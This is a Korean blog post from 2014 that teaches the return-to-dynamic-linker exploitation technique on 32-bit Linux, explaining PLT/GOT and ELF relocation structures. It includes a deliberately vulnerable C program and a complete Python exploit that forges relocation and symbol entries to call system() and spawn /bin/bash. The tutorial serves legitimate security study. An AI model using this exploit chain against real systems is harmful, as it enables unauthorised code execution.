카테고리 없음

Return-to-DL(Dynamic Linker) Exploitation

진모씨 2014. 2. 14. 03:58
Return to Dynamic Linker (RTDL)
작성자: 진용휘
날짜: 2014년 2월 14일 금요일

이 글은 다음 선행 지식을 필요로 한다: ELF에서의 plt, got. 그리고 ASLR(이건 딱히 필요는 없다).

이 글에서는 로더의 소스가 아닌 내부에서 참조하는 정보의 흐름만 간략하게 다루기 때문에 아래의 두 글을 먼저 읽어보는것도 좋을거라고 생각한다.

http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation - DYNAMIC 섹션 덮어쓰기 및 동적 링커 재사용으로 함수 주소 불러오기

https://web.archive.org/web/20081215162517/http://x82.inetcop.org/h0me/papers/FC_exploit/relocation.txt - 위 글에서 언급한 동적 링커 내부 구조

위 두 글에 나오는 동적 링커를 사용한 익스플로잇 방법을 소개할 것이다.

일반적으로 Return-to-Library는 GOT/PLT에 로드된 함수들을 대상으로 PLT로 점프해서 하곤 한다. 또는 ASLR이 아닌 경우 함수 주소를 직접 구해서 점프를 시킨다. 또는 ASLR일 경우 베이스를 구한 후 해당 라이브러리의 함수 상대주소를 구한 후 더해서 점프를 직접 시킨다.

elf내에 없어도 내가 원하는 라이브러리 내 함수로 점프를 시도할 순 있다. 라이브러리의 버전을 몰라도 말이다.

상대주소를 구해서 익스플로잇을 하는 방법은 GOT 내 있는 기준 함수를 기준으로 베이스를 구한다. 그 기준 함수의 상대적인 주소나 내가 호출을 원하는 함수의 상대주소가 다를 수도 있다.

그럴 경우 쓰는 것이 Return-to-Dynamic-Linker, 줄여서 RTDL이라고 부를 기법이다. (ㅋㅋ 그냥 이름붙여봄)
몇달동안 권혁님의 글[1]을 보고 삽질했는데, 삽질하고 보니까 phrack에 이미 올라와있었다![2] 그래도 삽질한 결과물이 있으니 올려본다.

일단 만약 어떤 ELF 실행파일이 동적 링크가 되어있으면, file 명령어로 알아봤을때 아래 부분이 뜬다.(빨간 부분)

$ file exp

exp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8a45d190c64199ebdc6bfd39e52d5d0eec3306e8, not stripped


아, 먼저 공격 대상 c 소스와 컴파일 옵션, 실행 파일을 올린다.

공격 대상 소스이다.


#include <stdio.h>
#include 
<memory.h>
#include 
<stdlib.h>
#include 
<string.h>

int main() {
 
char *rbuf = (char*) malloc(1024);
 
int len = 0;
 
char buf[256];
 len = read(
0, buf, 1024);
 memcpy(rbuf, buf, len);
 
return 0;
}



공격 대상 파일이다.

exp

이 파일은 아래의 옵션으로 컴파일했다. (우분투 13.10, glibc 2.17)

gcc exp.c -o exp -m32 -fno-stack-protector -fno-pie

pie, ssp를 해제했다. bof를 간단하게 하기 위해서이다.


위의 소스를 잠깐 훑어보면 저기 쓰인 함수는 3개이다: read, malloc, memcpy.

나는 여기서 system함수를 한번 찾아내보려고 한다.

file 출력물에 보면 dynamic linked 부분이 동적 링크가 되었다고 알려주는 부분이다.

이런 류의 바이너리(동적 링크 바이너리, 일반적으로 이렇게들 컴파일한다 - 파일 사이즈가 작기 때문이다, 또한 여러 프로그램이 같은 라이브러리를 썼을 때 메모리를 절약할 수 있다)를 잘 보면 맨 처음에 모든 함수 주소를 로딩하는 것이 아니다. 함수가 맨 처음 실행되면 그 함수의 라이브러리 내 주소를 알아와 그 주소를 로딩하는 함수와 바꿔치기한다. 물론 그 함수에만 해당한다.

이 기능의 구현을 위해서 각 함수의 plt에는 여분의 명령어를 위한 공간을 마련해둔다. 아래와 같을 것이다.


endp 밑의 3 줄이 여분의 명령어를 위한 공간이다. 이 부분은 실행 시 아래와 같이 바뀌게 된다.


보다시피 어떤 값을 push하고 점프를 한다. 이 값은 함수마다 다르고, 바이너리마다 값도 다르다.

일단 push 0에 대해 설명하기 전에, 위의 jmp에 대한 설명을 한다.

위의 함수 자체는 "plt"라는 함수이다. 라이브러리가 로딩되면서 저기서 점프하는 주소인 0x804A00C에는 실제 함수의 주소(맨 처음에는 위에서 언급한 대로 로더 주소가 담긴다)가 담길 것이다.

0x804A00C로 가보자. 이 부분은 GOT라는 구역의 일부분이다.

0x8048336 주소는 저기서 push 0을 하는 주소이다. 참고로 그 바로 밑의 줄의 주소는 0x804833B이다. 나중에 쓸 것이므로 참고한다.

push 0 밑의 jmp코드 먼저 보자.
어떤 함수던 저기서 점프하는 주소는 0x8048320으로 같다. (물론 바이너리마다 다르다)
그리고 그곳의 코드는 아래와 같다.


여기서는 GOT+4의 값을 push하고 GOT+8의 주소로 점프한다.
여기에는 _dl_runtime_resolve 라는 함수가 들어있다. 이 함수는 ld.so에 있다.

이 함수는 조금 후에 알아보도록 하자. (맨 처음 언급한 두번째 링크에도 나와있다)
이제 push 0에 대해 알아본다. 이 값이 의미하는 바를 알려면, 일단 ELF의 dynamic 섹션을 봐야한다.

이 섹션에는 동적 링커에 필요한 정보, 그리고 여러가지 정보들을 담고 있다. dynamic 섹션은 아래와 같이 이루어진다. 간단하다.

[태그 4바이트] [주소 4바이트]
[태그] [주소]
[태그] [주소]
...

태그의 값은 뒤에 나올 주소가 의미하는 것이 뭔지를 알려준다.
가령 태그가 6이면 SYMTAB, 0x17이면 JMPREL 이다.

이 실행 파일에서는 아래같이 나온다.

Dynamic section at offset 0xf14 contains 24 entries:

  Tag        Type                         Name/Value

 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

 0x0000000c (INIT)                       0x80482f4

 0x0000000d (FINI)                       0x8048574

 0x00000019 (INIT_ARRAY)                 0x8049f08

 0x0000001b (INIT_ARRAYSZ)               4 (bytes)

 0x0000001a (FINI_ARRAY)                 0x8049f0c

 0x0000001c (FINI_ARRAYSZ)               4 (bytes)

 0x6ffffef5 (GNU_HASH)                   0x80481ac

 0x00000005 (STRTAB)                     0x804823c

 0x00000006 (SYMTAB)                     0x80481cc

 0x0000000a (STRSZ)                      88 (bytes)

 0x0000000b (SYMENT)                     16 (bytes)

 0x00000015 (DEBUG)                      0x0

 0x00000003 (PLTGOT)                     0x804a000

 0x00000002 (PLTRELSZ)                   40 (bytes)

 0x00000014 (PLTREL)                     REL

 0x00000017 (JMPREL)                     0x80482cc

 0x00000011 (REL)                        0x80482c4

 0x00000012 (RELSZ)                      8 (bytes)

 0x00000013 (RELENT)                     8 (bytes)

 0x6ffffffe (VERNEED)                    0x80482a4

 0x6fffffff (VERNEEDNUM)                 1

 0x6ffffff0 (VERSYM)                     0x8048294

 0x00000000 (NULL)                       0x0

이런식으로 이름을 붙이고 실행 시 어떤 배열에 저 태그대로 일부 정보(STRTAB, SYMTAB)를 배열로 저장한다.

배열[6] = 0x80481cc (SYMTAB 주소)

이런식이다.
아까 본론으로 한번 돌아가보자.

다시 말하지만 위의 명령어들에서 push 0이라는 부분이 보인다. 여기서 0은 reloc_offset이라는 값이다.

이제부터는 로더 함수에 쓰이는 구조체에 대한 설명이다.
_dl_runtime_resolve 함수는 스택에 있는 인자 두개를 각각 push한 순으로 edx, eax에 옮긴 후 _dl_fixup 함수를 호출한다. 첫번째 인자(0)는 reloc_offset, 두번째 인자는 l이라고 한다.

int reloc_offset, struct link_map* l
인 셈이다.

일단 JMPREL + reloc_offset 주소에는 Elf32_Rel 형식의 구조체가 담긴다.
위의 결과(.dynamic 섹션, 앞으로는 이 결과를 참조한다)에 따르면 JMPREL은 0x80482cc이다.
여기다가 push한 값인 0을 더하면그대로 0x80482cc일것이다.
실행 중의 값을 보자. (실행 전에 결정되며, readelf -a exp 하면 나온다)

주소 하나랑, 옆에는 뭔가 숫자가 있는 듯 하다.
일단 주소의 의미는 아까 함수가 점프하는 부분, 즉 got 주소라는 것을 알 수 있다.

로더 함수는 이 주소로 나중에 로딩한 주소를 기록한다. 그 옆의 숫자의 의미는 무엇일까?

이 숫자를 해석하면 아래와 같다.
07부분(첫번째 바이트)는 재배치 타입을 뜻하고, 1 부분(두번째 바이트~네번째 바이트)는 SYMTAB에서 로딩 정보의 번호에 해당한다.
00 00 01 07
인데, 00 00 01 은 SYMTAB 상의 번호, 07은 형식인 것이다.

SYMTAB은 0x80481cc이다.
SYMTAB에서 로딩되는 방식은 아까 언급한 번호로 따진다면

((Elf32_Sym*)SYMTAB)[번호]

에 해당한다.
그렇다면 저건 번호가 1이니까 Elf32_Sym 구조체의 크기인 16에 1을 곱한 16이 실제 위치가 되겠다.
SYMTAB+16으로 가보자.


저런 구조체가 있다.
첫번째 0x1A는 STRTAB에서부터의 함수 이름 위치가 되고, 두번째와 세번째는 아무 값이나 집어넣어도 된다.
네 번째도 아무 값이나 집어넣어도 된다.
중요한 건 다섯번째 값이다.

이 값에 & 3 (첫번째 두 비트) 연산을 해서 0이 아니면 이미 로딩이 되었다는 뜻으로 알고 바로 호출을 해버린다. 그러면 안되니 이부분은 0이어야 한다. 익스플로잇 작성 시 참고해 두자.

물론 로딩 후에는 다섯 번 째 값은 0이 아니다.

여섯번 째 값은 번호인데, 아무 값이나 넣어도 된다. 물론 이 정보를 활용하는 곳이 있을 수 있지만, 실제 로딩 과정에서는 별 영향을 안주므로 넘어간다.

첫 번째 값인 1Ah, 즉 0x1A의 용도를 확인하기 위해 STRTAB으로 간다. 그 다음 0x1A 만큼 주소를 더해본다.
STRTAB은 0x804823c이다.

가보면 이렇다.


저 함수명을 dl_runtime_resolve함수의 두번째 인자(위에서 언급했다)
오예! 그렇다면 이제 내가 원하는 함수를 불러오는 익스플로잇을 작성할 수 있다.

맨 위에 언급한 간단한 프로그램 기준이다. (물론 저런 멍청한 프로그램은 없겠지만, 가령 고정된 주소에 read를 수행하는 과정을 선행시킬 수도 있다. 안그런가?)

일단 저 프로그램의 취약점은 간단한 bof, 그리고 memcpy 대상 포인터 조작이 가능하단 점이다.
그리고 익스플로잇에서는 “push 0”, 즉 스택 내 인자를 다른 값으로 조작시키고 점프시키면 되는 것이다.

그 인자대로 가면 Elf32_Rel구조체가 있어야 되고(페이로드 안에 있으면 편할 것이다) 그 구조체의 주소+4에는 아까 언급한 0x107같은 값이 있어야 될 것이다. Elf32_Sym이 SYMTAB[그 번호>>8]에 구조체로 들어있어야 할 것이다.

추가1)
VERSYM이 elf내에 정의되어있으면 약간 골치아파진다.. (근데 대부분 정의되어있는게 문제다)
VERSYM[2 * 그 번호] 이런식으로 참조하는데 이게 특정 값 이상(10000정도 된다, 2바이트 정수, 리틀엔디안)이면 AV가 뜨고 안그러면 그냥 정상작동 한다. -> 결론. VERSYM으로부터 2*(그 번호) 를 더한 주소에 av가 뜨지 않으면서 특정 값(10000정도 된다) 이하의 값을 가지는 값이어야 된다. 만약 안그런 상황이면 GOT+8로부터 20바이트를 복사하고 그 뒤에서 +24, +20에  SYMTAB, STRTAB의 elf 내 주소를 넣어주면 된다. cpy류 함수가 있어야된다.

그래서 아래와 같이 익스플로잇을 짜봤다.

[Elf32_Rel: r_offset (memcpy GOT)]
[Elf32_Rel: r_info (페이로드를 가르키게 잘 계산했다. 페이로드 - SYMTAB + 34.)]
[20자까지 A로 채움]
[Elf32_Sym: st_name (페이로드 안의 system 문자열 주소 - STRTAB)]
[Elf32_Sym: st_value] 아무 값
[Elf32_Sym: st_size] 아무 값
[Elf32_Sym: st_other (최하위 2비트는 0으로 맞춰야된다)]
[Elf32_Sym: st_shndx] 아무 값
system\x00
[0x100만큼 버퍼를 A로 채운다]
[페이로드가 담길 주소]
[페이로드 크기 (상관없다]
[더미 - 8바이트]
[EBP]
[RET: Dynamic Linker]
[페이로드 주소 - JMPREL]
[system 함수 후 RET 주소]
[system 함수 인자 주소(뒤의 /bin/bash를 가르키는 주소이다)]
/bin/bash

짜다보니 복잡하게 보인다. 하지만 별거 아니다.

import struct

import sys


buffer = 0x8049680 # bss

target = 0x8049648 # read

STRTAB = 0x80481fc

JMPREL = 0x8048278

DYNAMIC_LINKER = 0x80482c0

SYMTAB = 0x80481ac

read   = 0x80482f0

pppr   = 0x8048465


p  = lambda x: struct.pack("<L", x)

ph = lambda x: struct.pack("<I", x)

pb = lambda x: struct.pack("<B", x)


log = lambda x: sys.stderr.write(x+'\n')

padding = 3 # if not works, adjust this value (for VERSYM value)


# Elf32_Rel rel

rel  = p(target)

rel += p(((buffer - SYMTAB + 18 + 16*padding)/16<<8) + 7) # 16 multiplier


# Elf32_Sym sym

sym  = p(buffer - STRTAB + 16 * padding + 30) #name offset

sym += p(0x06) # symbol value (st_value)

sym += p(0x7) # symbol size (st_size)

sym += pb(0xFF) # symbol info (st_info)

sym += pb(0xF0) # symbol other - last 2 bits must be 0

sym += ph(0xFFFF) # symbol index

sym += "system\x00" #function name


payload = ""

payload += rel

payload += "A"*(12 + 16 * padding-len(payload)) # dummy

payload += sym

cmd_area = buffer + len(payload)

payload += '/bin/bash\x00'


stage0 = "A"*28

stage0 += p(0xDEADBEEF)      # fake ebp

stage0 += p(DYNAMIC_LINKER)  # _loader

stage0 += p(buffer - JMPREL) # index here

stage0 += p(0)

stage0 += p(cmd_area)


print stage0.ljust(127,"\x00")

print payload


코드가 아주 더럽다.. 중간에 0xFF, 0xFFFF, AAAA 이런건 다 그냥 아무거나 들어가도 되는부분이다.
중간에 null이 들어가는게 흠이지만, 저걸 아래와 같이 실행하면 나만의 쉘이 얻어진다.

     (python exp2.py; cat)|./exp

이 코드는 DYNAMIC_LINKER, 즉 plt에서 push 후 점프하는 그 부분으로 바로 점프를 하게 된다.

코드 중간에 보면 rel이 언급된 두번째 줄에서 16을 나누고 다시 256을 곱하는 곳이 있다.
이는 아까 언급한 0x107 형식을 맞춰준다. 이는 0x1 부분이 16이 되고 0x07부분은 맞춰줘야되므로, 16의 배수가 되도록 맞춰줘야 됨과 동시에 페이로드에도 그렇게 포함시켜야 될것이다.


이 글은 단순 익스플로잇에 관한 글이라 _dl_runtime_resolve함수와 _dl_fixup함수의 내부구조에 대해서는 많이 다루지 않았다. 만약 자세한 정보를 얻고 싶다면 맨 처음에 언급한 링크를 가보는 것을 추천한다.
 _dl_runtime_resolve 함수부터 _dl_fixup 함수까지 자세히 설명이 되어있다.


=================================================================
위에서 언급한 링크들. [1]이랑 [2]로 표시해놨다.

[1] http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation

[2] http://www.phrack.org/issues.html?issue=58&id=4


return to dl.pdf


티스토리 설정보다는 에버노트가 보기 좋아서 pdf로 변환 후 올린다.

간단하게 설명을 하자면 실행 파일 내 plt나 got에 내가 원하는 함수가 없어도 로딩된 라이브러리에 내가 원하는 함수도 있다면 함수명으로 내가 원하는 함수를 불러와서 호출할 수 있다.

Return-To-Library 방식을 약간 응용한거라 볼 수 있다.


한계:

Full-RELRO에서는 안된다.

내가 알 수 있는 정적/동적인 주소에 내가 뭘 기록할 수 있어야 한다.

LD_BIND_NOW=1 이라는 환경변수가 설정된 상태에서 실행이 될 때도 안된다.


본문에서 언급한 링크:

http://www.phrack.org/issues.html?issue=58&id=4

- 이미 누가 해놓은 결과물.. 삽질 후 검색해보니 나와서 멘붕했어요.

사실 안해놨으면 더 의아했겠죠..

http://pwn3r.tistory.com/entry/Docs-Reusing-Dynamic-Linker-for-Exploitation

- 권혁님이 해놓으신 비슷한 문서

일단 제가 해본건 DYNAMIC섹션에 기록이 아닌 임의 영역에 기록하는 방식인데, 이걸 보고 떠올렸어요.

여기도 언급되어있듯이 최신 리눅스 버전에는 DYNAMIC섹션에 쓰기가 불가능해요. 그게 한계같아요.

주소를 알아야 된다는게 단점.. 둘다 ㅠㅠ

http://web.archive.org/web/20121229234844/http://x82.inetcop.org/h0me/papers/FC_exploit/relocation.txt

- 이게 없었으면 귀찮다고 때려쳤을지도 모르겠어요.. 권혁님이 문서에서 언급하셨는데, 여기에는 동적 링커에서 사용하는 실행 중 로딩하는 함수의 내부 흐름에 대해 엄청 잘 나와있어요.

원본 링크는 접속이 안되서 web.archive.org 링크로 대체합니다. 찾으니까 나와서 다행이네요..